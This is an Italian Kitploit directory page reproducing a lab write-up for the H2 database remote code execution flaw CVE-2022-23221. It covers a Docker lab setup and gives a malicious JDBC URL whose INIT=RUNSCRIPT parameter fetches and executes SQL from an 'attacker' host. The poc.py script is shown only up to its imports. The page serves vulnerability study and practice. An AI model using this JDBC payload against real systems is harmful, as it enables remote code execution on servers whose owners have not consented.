Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit
Strumenti/GitHubGitHub/straightsang/h2-database-cve-2022-23221
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSicurezza dei DatabaseLab e Pratica
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

vulhub/H2-database/CVE-2022-23221

Vedi Repository
231 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

H2 Database RCE (CVE-2022-23221)


1. Riepilogo

  • Riferimento: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 è un sistema di gestione di database relazionali che offre la funzionalità di compilare ed eseguire direttamente codice Java all'interno del motore SQL.

  • Il driver H2 analizza l'URL JDBC per stabilire la connessione tra l'applicazione e il database. In questa fase, tramite i parametri di configurazione inclusi nell'URL, è possibile controllare lo stato iniziale o il comportamento del database.

  • Le versioni di H2 precedenti alla 2.1.210 presentano un problema che consente di eseguire script SQL remoti tramite il parametro INIT dell'URL JDBC. Un attaccante può sfruttarlo per iniettare da remoto uno script SQL manipolato ed eseguire comandi di sistema tramite le istruzioni in esso contenute, causando la vulnerabilità CVE-2022-23221.

  • Le caratteristiche di questa vulnerabilità sono le seguenti.

    1. Nessuna autenticazione richiesta: chiunque abbia il permesso di inserire un URL JDBC può sfruttare questa vulnerabilità per prendere il controllo del sistema.
    2. Esecuzione automatica all'avvio del servizio: se l'attaccante modifica solo il file di configurazione, l'RCE (esecuzione di codice remoto) si verifica automaticamente all'avvio del servizio che utilizza H2.
    3. Occultamento: è difficile per lo sviluppatore riconoscere l'attacco.
    4. Ampia portata del danno: grazie alla sua velocità e leggerezza, H2 è utilizzato per lo sviluppo e il test di vari servizi web. Poiché qualsiasi ambiente in cui sia possibile impostare l'URL JDBC tramite file di configurazione o input dell'utente può essere bersaglio di un attacco che sfrutta questa vulnerabilità, l'impatto è elevato.
  • Ambito di impatto della vulnerabilità

    • Versioni interessate: H2 precedenti alla 2.1.210
    • Versioni corrette: H2 2.1.210 e successive

2. Condizioni della vulnerabilità

  • Deve essere una versione di H2 precedente alla 2.1.210.
  • L'URL JDBC deve contenere IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> aggiramento delle impostazioni di sicurezza
      • Con questo parametro le impostazioni di sicurezza vengono neutralizzate, pertanto il comando di esecuzione di script remoti non viene bloccato e viene eseguito così com'è durante l'inizializzazione.
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> comando SQL eseguito automaticamente alla connessione tra l'applicazione e il DB
      • Se il valore del parametro INIT contiene il comando SQL RUNSCRIPT e l'indirizzo dello script malevolo, H2, al momento della connessione tra l'applicazione e il DB H2, si collega al server indicato, scarica il file e lo esegue.
  • Lo script SQL scaricato deve contenere l'istruzione SQL CREATE ALIAS.
    • L'istruzione CREATE ALIAS all'interno dello script da eseguire da remoto fa sì che H2 esegua la funzione Java contenuta nello script all'interno del DB, causando di conseguenza l'RCE.




3. Configurazione dell'ambiente

  • Scenario

    • Si configura un ambiente H2 vulnerabile e si inserisce in H2 un URL JDBC malevolo. H2 analizza questo URL senza una corretta validazione e riceve ed esegue il file sql dal server dell'attaccante. Se nei log del server h2-vulnerable viene stampata la stringa "EXPLOITED" insieme ai risultati dell'esecuzione dei comandi id, whoami, pwd, ciò significa che è stato configurato un ambiente H2 vulnerabile e che, nel processo di analisi dell'URL JDBC malevolo da parte di H2, il file exploit.sql è stato scaricato da remoto dal server dell'attaccante ed eseguito.
  • Configurazione dell'ambiente

    docker compose up -d 
    

    docker ps

    • Eseguendo il comando vengono avviati i seguenti ambienti.
    • h2-vulnerable: H2 2.0.206 (versione vulnerabile precedente alla patch)
      • Console web H2: http://your-ip:8082
      • Server TCP: tcp://your-ip:9092
    • attacker: server HTTP
      • http://your-ip:8000 : fornisce il file exploit.sql
  • Dopo aver configurato l'ambiente, accedendo a http://your-ip:8082 viene visualizzata la pagina web di H2.




4. Procedura di riproduzione

: Nella console web, poiché sono applicate le policy di sicurezza, i parametri che costituiscono le condizioni della vulnerabilità possono essere filtrati; pertanto, si riproduce la vulnerabilità inserendo direttamente via CLI l'URL JDBC contenente i parametri malevoli e se ne verifica il risultato.

[Caso di richiesta normale]

  • URL JDBC normale: "jdbc:h2:mem:test"

  • Comando di richiesta normale

    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • Risultato dell'esecuzione Esecuzione basata su CLI

    • Nessuna richiesta ricevuta dal server attacker
    • Nessun log particolare emesso dal server h2-vulnerable

[Caso di attacco alla vulnerabilità]

  • URL JDBC malevolo: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. Esecuzione dell'attacco

  • Inserendo un URL JDBC malevolo nel driver H2, si tenta la connessione al server attacker. A questo punto, ci sono 2 modi per inserire l'URL.

    1. Inserire direttamente l'URL JDBC malevolo nella H2 Shell tramite CLI.
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    Esecuzione basata su CLI

    1. Eseguire il file PoC.
    python3 poc.py
    

    Esecuzione di poc.py

2. Richiesta ed esecuzione del file

  • H2, come specificato dal parametro INIT dell'URL JDBC INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql', richiede (HTTP GET) il file exploit.sql al server attacker e lo esegue all'interno del database H2.

    1. Eseguendo docker logs attacker è possibile verificare il log della richiesta del file exploit.sql proveniente dal server h2-vulnerable.
    docker logs attacker
    

    1. Il server attacker restituisce il file exploit.sql richiesto, e il server h2-vulnerable esegue il file exploit.sql ricevuto. A questo punto, la clausola CREATE ALIAS all'interno dello script induce l'esecuzione di codice Java, causando così l'RCE


5. Codice poc.py

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys
Scarica lo strumento